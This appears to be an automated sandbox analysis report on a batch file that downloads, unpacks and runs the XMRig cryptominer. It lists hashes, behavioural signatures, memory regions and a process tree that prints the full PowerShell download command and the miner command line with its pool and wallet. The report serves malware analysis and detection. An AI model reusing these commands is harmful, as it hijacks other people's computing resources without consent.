Resubmissions

Analysis

  • max time kernel
    1798s
  • max time network
    1794s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    04/01/2024, 20:13

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4932
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4084
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4172

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    70cef94b11aa8867eaffc7062a60efae

    SHA1

    c46475c99218ba5df5b0db700cb7e274ac70559b

    SHA256

    4ea2ccdc221bbb921f074977e2dac8a79c67cc035eca5b81ab180c3cefd8fcfe

    SHA512

    242cd292a74882c38dff6cc13fa3005f29c1be512572709dc9b6c19e8b711a5062bfdc73ab05bc22ce964bd0c36fea666f30753cced0486f4f278f5df51dc096

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hvmpesqz.vrn.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    152KB

    MD5

    753e8eac8df05860c63ef56c3726b5d1

    SHA1

    1359bbb72d674f63816845d9d4fc10b0c6f05c43

    SHA256

    fe23c8533c72d53c9d514639a16f9b35e385af585de58e262a5f1e3ddfae1cab

    SHA512

    d9aeeb7519722148c404a7aa7d2d95546089fadb3ba3ba7c325f3f265c7fe7e9386de0a30a637e23fddb1cf3819801790e6a37a661709cbd93efc9610b2fe0f2

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    1.2MB

    MD5

    ca10d7d3df2ad5f484d287f80ebbf241

    SHA1

    9fcf1160fe1eb0d1e44bfa20afcf3553bea20393

    SHA256

    96f0ebc7913d24fb8661cc5c943dfa5a4476e1db58ad57d7a3785adb70bd2cf3

    SHA512

    9b7752bedcf651bb97ab2259c2883059c5c907b8e6cddb8e19c36a1f353c7e00316b7cea74609f3592efaae0642f2fa09b32634f71dd12d73c51450c506ee128

  • memory/4084-91-0x0000021ADC2F0000-0x0000021ADC2FA000-memory.dmp

    Filesize

    40KB

  • memory/4084-38-0x0000021ADC220000-0x0000021ADC230000-memory.dmp

    Filesize

    64KB

  • memory/4084-37-0x00007FFF22390000-0x00007FFF22D7C000-memory.dmp

    Filesize

    9.9MB

  • memory/4084-39-0x0000021ADC220000-0x0000021ADC230000-memory.dmp

    Filesize

    64KB

  • memory/4084-115-0x00007FFF22390000-0x00007FFF22D7C000-memory.dmp

    Filesize

    9.9MB

  • memory/4084-64-0x0000021ADC220000-0x0000021ADC230000-memory.dmp

    Filesize

    64KB

  • memory/4084-78-0x0000021AF4A30000-0x0000021AF4A42000-memory.dmp

    Filesize

    72KB

  • memory/4172-147-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-152-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-186-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-118-0x0000014499120000-0x0000014499140000-memory.dmp

    Filesize

    128KB

  • memory/4172-119-0x000001449A940000-0x000001449A980000-memory.dmp

    Filesize

    256KB

  • memory/4172-120-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-122-0x000001449A980000-0x000001449A9A0000-memory.dmp

    Filesize

    128KB

  • memory/4172-121-0x0000014499160000-0x0000014499180000-memory.dmp

    Filesize

    128KB

  • memory/4172-123-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-124-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-125-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-126-0x0000014499160000-0x0000014499180000-memory.dmp

    Filesize

    128KB

  • memory/4172-127-0x000001449A980000-0x000001449A9A0000-memory.dmp

    Filesize

    128KB

  • memory/4172-128-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-129-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-130-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-131-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-132-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-133-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-134-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-135-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-136-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-137-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-138-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-139-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-140-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-141-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-142-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-143-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-144-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-145-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-146-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-185-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-148-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-149-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-150-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-151-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-184-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-153-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-154-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-155-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-156-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-157-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-158-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-159-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-160-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-161-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-162-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-163-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-164-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-165-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-166-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-167-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-168-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-169-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-170-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-171-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-172-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-173-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-174-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-175-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-176-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-177-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-178-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-179-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-180-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-181-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-182-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4172-183-0x00007FF64D650000-0x00007FF64E153000-memory.dmp

    Filesize

    11.0MB

  • memory/4532-9-0x0000027020390000-0x00000270203A0000-memory.dmp

    Filesize

    64KB

  • memory/4532-4-0x00000270203D0000-0x00000270203F2000-memory.dmp

    Filesize

    136KB

  • memory/4532-5-0x00007FFF22390000-0x00007FFF22D7C000-memory.dmp

    Filesize

    9.9MB

  • memory/4532-7-0x0000027020390000-0x00000270203A0000-memory.dmp

    Filesize

    64KB

  • memory/4532-10-0x0000027020580000-0x00000270205F6000-memory.dmp

    Filesize

    472KB

  • memory/4532-26-0x0000027020390000-0x00000270203A0000-memory.dmp

    Filesize

    64KB

  • memory/4532-31-0x00007FFF22390000-0x00007FFF22D7C000-memory.dmp

    Filesize

    9.9MB